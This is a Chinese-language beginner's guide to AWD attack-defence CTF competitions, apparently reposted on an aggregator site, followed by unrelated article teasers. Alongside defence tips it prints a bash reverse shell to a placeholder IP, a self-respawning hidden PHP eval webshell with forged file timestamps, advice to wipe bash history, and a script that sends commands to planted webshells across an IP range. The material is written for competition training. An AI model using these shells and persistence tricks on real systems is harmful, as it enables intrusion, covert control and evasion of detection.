CTF-AWD入门手册

news2024/10/5 9:32:34

引文

AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。本文就个人经验来讲一下AWD比赛中需要做的事。

站点部署

比赛开始时我们会分配到一个至多个靶机,通常是分配给我们ssh 用户名和密码还有虚拟ip等信息,我们需要自己去连接靶机。个人推荐使用xshell搭配xftp来使用,当我们连接靶机之后要做什么呢。

dump源码

比赛开始第一件事,dump网站源码,使用ssh工具保留源码,复制两份,用d盾去扫一份,因为当我们靶机受到攻击时对手可能直接删除我们的源码导致靶机DOWN机,而通常比赛中主办方会在源码中留有一些后门,我们用D盾去扫描一下来进行修复攻击

数据库备份

我们登录数据库来进行备份,当数据被删除时可以使用命令快速还原。

mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库 

还原命令:

mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库 

修改密码

当主办方给我们的连接密码过于简单时,不排除对手先登录我们靶机来进行破坏,于是我们要快速修改弱口令密码。

linux修改ssh即本地密码:

passwd 

修改mysql登录密码:

mysql>set password for root@localhost =password('xino'); 

关闭不必要端口

一些端口会存在漏洞,为了保证安全我们关闭一些不必要的端口来进行维护:

部署WAF

WAF是用来分析阻挡对手攻击的工具它可以分析流量,别人攻击我们的时候,我们可以看到别人的攻击方式。当没有攻击思路时我们就可以分析流量,使用别人的攻击方式。 部署方式如下:

每个文件前边加:

require_once(waf.php); 

为了方便我们可以修改php.ini配置文件,来自动给当前文件夹下文件头部添加:

auto_prepend_file=<filename>; 

攻击(ATTACK)

当我们部署完自己的靶机确认没有漏洞后,我们便可以尝试攻击别人机器了。

弱口令

当发现靶机存在弱口令后,我们就可以遍历IP地址来查询存活的机器来自动连接查找FLAG,或者在受害者靶机里植入后门文件来维持我们的控制。

自带后门

通常靶机会有自带的后门木马,我们知道路径后便可以写一个脚本批量连接来提交FLAG。

nmap

扫描C段存活主机:

 .\nmap xxx.xxx.xxx.xxx/24 

保存为TXT文件以便于之后编写脚本去攻击。

WEB攻击

举几个比较常见的WEB攻击方式:

文件读取,伪协议方式读取flag

文件上传,绕过黑白名单上传一句话,用工具连接查找flag

命令执行,通过system等函数来遍历文件

SQL注入,寻找注入点注出flag

当我们找到上面漏洞后,尽量去写一个脚本来自动提交flag,之后再去寻找其他漏洞。

写入木马

因为AWD赛制是回合制,所以我们要想保持长时间稳定上分就要时刻控制别人靶机,也就是要传入木马但又不能被对手发现,下面列举几个权限维持的小技巧。

bash反弹shell

利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,nc反弹shell命令如下:

bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1
nc -l -p 8080 

注意: 使用bash命令,会在root目录生成名为~/.bash_history的记录文件,我们要清除来消除威胁。

不死马

一个简单的不死马:

<?php
	ignore_user_abort(true);
	set_time_limit(0);
	unlink(__FILE__);
	$file = '.config.php';
	$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
	//pass=pass
	while (1){
	file_put_contents($file,$code);
	system('touch -m -d "2020-10-21 04:17:18" .config.php');
	usleep(5000);
	}
	?> 

不死马的作用就是将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为.config.php的不死马隐藏文件。以此来达到权限维持。

提交脚本

比赛中可能会有几十台靶机,尽管我们知道了如何攻击,但一个一个打似乎有一些太慢了,所以这时我们要利用脚本去批量提交解放双手。这里就在网上找了几个常用的:

预留后门利用脚本:

import requests
url_head="http://xxx.xx.xxx."#网段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx"#木马密码
port="80"
payload ={passwd: 'system('cat /flag');'}
webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")
for i in range(30,61):url=url_head+str(i)+":"+port+shell_addrtry:res=requests.post(url,payload,timeout=1)if res.status_code == requests.codes.ok:result = url+" connect shell sucess,flag is "+res.textprint resultprint >>flag,resultprint >>webshelllist,url+","+passwdelse:print "shell 404"except:print url+" connect shell fail"
webshelllist.close()
flag.close() 

批量提交flag脚本(需根据要求自行修改):

import sys
import json
import urllib
import httplib
server_host = ' '#提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):if not team_token or not flag:raise Exception('team token or flag wrong')conn = httplib.HTTPConnection(host, port, timeout=timeout)params = urllib.urlencode({#提交需要post的参数,根据情况修改'token': team_token,'flag': flag,})headers = {"Content-type": "application/x-www-form-urlencode"}conn.request('POST', '[submit_flag_dir]', params, headers)#第二个参数为提交flag的目录response = conn.getresponse()data = response.read()return json.loads(data)
if __name__ == '__main__':if len(sys.argv) < 3:print 'usage: ./submitflag.py [team_token] [flag]'sys.exit()host = server_hostif len(sys.argv) > 3:host = sys.argv[3]print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4) 

防御(DEFENSE)

既然有攻击那么也需要防御别人的攻击,上面其实已经讲了一些防御的技巧了,比如修改弱口令,上传WAF等,这里就简单总结一下其他常用的知识吧。

查找flag的位置

find / -name *flag* 

查找password

find .|xargs grep "password" 

查看以建立的连接和进程

netstat -antulp | grep EST 

结束进程

kill PID
killall <进程名> 

检测TCP连接数量

netstat -ant|awk|grep |sed -e-e |sort|uniq -c|sort -rn 

chattr命令防止系统中某个关键文件被修改

chattr +i /etc/resolv.conf 

流量监控

当别人访问我们靶机时请求的URL可能就是攻击的payload,我们如果知道他们的请求就可以利用他们的手段来反打过去,这个基于流量监控来实现,一个简单的脚本如下:

<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?> 

结语

今天给大家带来了AWD的入门知识点,AWD赛制也是CTF中常见的赛制,本文讲的AWD比赛中常见的知识点,可能会有许多的遗漏,望大家指出交流,如果对本文感兴趣不妨一键三连。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/136405.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

语言和文法的形式定义---编译原理

文法的构建问题 * 参考已有的模型 最经典的即是算数表达式的模型&#xff0c;其有多个算术运算符号和优先级别。 文法与正则表达式与有穷自动机的转换 显然是3型文法&#xff0c;也就是正则文法才有相应的性质&#xff0c;因为只有3型文法才是右部至多仅有两个符 号&#xf…

【Vue路由】props配置、replace属性、编程式路由导航、缓存路由组件

文章目录props配置props值为对象props值为布尔值props值为函数总结\<router-link>的replace属性总结编程式路由导航案例实现总结缓存路由组件案例实现总结props配置 我们可以看看我们原来如何使用传递过来的参数的&#xff1a; 我们要写一大长串去从$route身上拿到我们…

传统目标跟踪——光流法

目录 一、光流法 二、LK光流法 2.1 实现原理 2.2 API 三、代码 四、总结 一、光流法 光流&#xff1a;空间运动物体在观察成像平面上像素运动的瞬时速度。 光流法利用图像序列中像素在时间域上的变化以及相邻帧之间的相关性来找到上一帧之间存在的对应关系&#xff0c;…

密码学_RSA

RSA是1977年由罗纳德李维斯特&#xff08;Ron Rivest&#xff09;、阿迪萨莫尔&#xff08;Adi Shamir&#xff09;和伦纳德阿德曼&#xff08;Leonard Adleman&#xff09;一起提出的。当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的。 RSA是非…

dom截图的几种实现方式

前端要实现dom截图的功能&#xff0c;现在比较常用的是使用以下两个库 dom-to-image 使用svg技术实现html2canvas 使用canvas技术实现 如果想自己写一个dom截图的可以参考 dom-pointer 代码比较简单&#xff0c;非常适合拿来研究rasterizeHTML.js 目前rasterizeHTML.js已经被…

1231. 航班时间(恶心的输入处理 + 简单的数学)

题目如下&#xff1a; 题解 or 思路&#xff1a; 因为题目假设两次飞行时间是相同的&#xff0c;我们可以通过减法将时差消去。那么飞行时间就是: time1time22\frac{time_1 time2}{2}2time1​time2​ 题目的难点是处理输入&#xff0c;我们可以使用 sscanf 来进行处理&#x…

小程序开发经验分享(1)

账号搭建篇 1. 获取微信小程序的AppID 首先,我们需要拥有一个帐号,如果你能看到该文档,我们应当已经邀请并为你创建好一个帐号。注意不可直接使用服务号或订阅号的AppID。 利用提供的帐号,登录 https://mp.weixin.qq.com ,就可以在网站的“设置”-“开发者设置”中,查…

MySQL高级 SQL优化【插入数据主键优化】

目录 1&#xff1a;SQL优化 1.1&#xff1a;插入数据 1.1.1&#xff1a;insert 1). 优化方案一&#xff08;批量插入数据) 2). 优化方案二&#xff08;手动控制事务&#xff09; 3). 优化方案三 &#xff08;主键顺序插入&#xff0c;性能要高于乱序插入。&#xff09; …

java应用集成HanLP进行中文自然语言分词详细完整案例以及demo

本文可以作为上一篇《mysql/mariadb 实现全文检索》的补充&#xff0c;实现对字符串分词的逻辑 什么是自然语言&#xff0c;什么是自然语言分词及例子 什么是自然语言 狭义地讲&#xff0c;利用计算机进行语言分析的研究是一门语言学与计算机科学的交叉学科&#xff0c;学术界…

CTFSHOW新手杯MISC部分WriteUp

引文 之前复现了CTFSHOW新人杯的WEB方向部分题目&#xff0c;今天就复现一下MISC为主的题目&#xff0c;可能有些读者不太明白MISC方向是什么意思&#xff0c;简单来说就是"杂项",包括&#xff1a;隐写&#xff0c;压缩包处理&#xff0c;流量分析&#xff0c;攻击取…

电容基础知识

电解电容负极有标识标有耐压值&#xff08;400V 450WV&#xff09; 容量 &#xff08;68UF&#xff09; 温度&#xff08;105摄氏度&#xff09;等 电容容量判断方法&#xff1a;直标法&#xff1a;上图&#xff0c;容量68微法&#xff0c;耐压值400V。数字表示法&#xff1a;方…

如何在公司审计中保持安全

如何在公司审计中保持安全 如今&#xff0c;财务弹性是决定您的公司能否在不确定时期适应和发展的主要属性之一。这可能令人很惊讶&#xff0c;但您的年度业务审计可以成为您提高业务敏捷性的秘密武器。它通过确定内部控制和财务报告的效果以及哪些流程改进应该在您的优先级列…

蓝桥杯Python练习题15-区间k大数查询

资源限制   内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述   给定一个序列&#xff0c;每次询问序列中第l个数到第r个数中第K大的数是哪个。 输入格式   第一行包含一个数n&#xf…

黑马Hive+Spark离线数仓工业项目-任务流调度工具AirFlow(2)

Oracle与MySQL调度方法 目标&#xff1a;了解Oracle与MySQL的调度方法 实施 Oracle调度&#xff1a;参考《oracle任务调度详细操作文档.md》 - step1&#xff1a;本地安装Oracle客户端 - step2&#xff1a;安装AirFlow集成Oracle库 - step3&#xff1a;创建Oracle连接 - ste…

ODT在手,DDR5布线可以任性走?

作者&#xff1a;一博科技高速先生成员 姜杰 ODT是On Die Termination的缩写&#xff0c;又叫片内端接&#xff0c;顾名思义&#xff0c;就是把端接电阻放在了芯片内部。作为一种端接&#xff0c;ODT可以减小反射&#xff0c;对信号质量的改善显而易见&#xff0c;SI攻城狮很…

家用宽带搭建个人服务器(二)

本文主要详记免费二级域名注册和免费DDNS解析 写在前头 近几年国内注册域名需要备案&#xff0c;域名解析服务商都陆续需要收费了&#xff0c;对于我这种想简单玩玩的人来说实在是太麻烦了(主要是费钱&#xff09;&#xff0c;花了点时间找到了免费域名注册和DDNS解析 本文基于…

Android绘制原理【通透版】

概述 Android 的显示过程可以简单概括为&#xff1a;Android 应用程序把经过测量、布局、绘制后的surface 缓存数据&#xff0c;通过 SurfaceFlinger 把数据渲染到显示屏幕上&#xff0c;通过 Android 的刷新机制 来刷新数据。也就是说应用层负责绘制&#xff0c;系统层负责渲…

豪掷千亿的卡塔尔,为什么建造可回收的足球场?

作者&#xff1a;木环 来自世界六大洲的八强&#xff0c;正为大力神杯做最后的角逐。在精彩的比赛之外&#xff0c;这届世界杯还留下了很多破圈元素&#xff1a;卡塔尔的两千亿、逗笑的饺子皮表情包、推迟到冬季举办的赛事、围困啤酒赞助商的禁酒令。 以及&#xff0c;一个标…

Jackson 自定义序列化器的使用

注意&#xff1a;从简单的例子去延伸使用&#xff0c;内容紧凑&#xff0c;排版就这样了哈 举例&#xff1a;自定义序列化器&#xff0c;让输出json的指定字段金额10 public class testMain {public static void main(String[] args) throws JsonProcessingException {Bill b…

【BP靶场portswigger-服务端5】业务逻辑漏洞-11个实验(全)

目录 一、业务逻辑漏洞 1、意义 2、业务逻辑漏洞的产生 3、产生的影响 二、过度信任客户端控件 1、简述 实验1&#xff1a;过度信任客户端控件 三、未处理非常规输入 1、简述 实验2&#xff1a;高级逻辑漏洞 实验5&#xff1a;低级逻辑缺陷 实验6&#xff1a;异常输入处…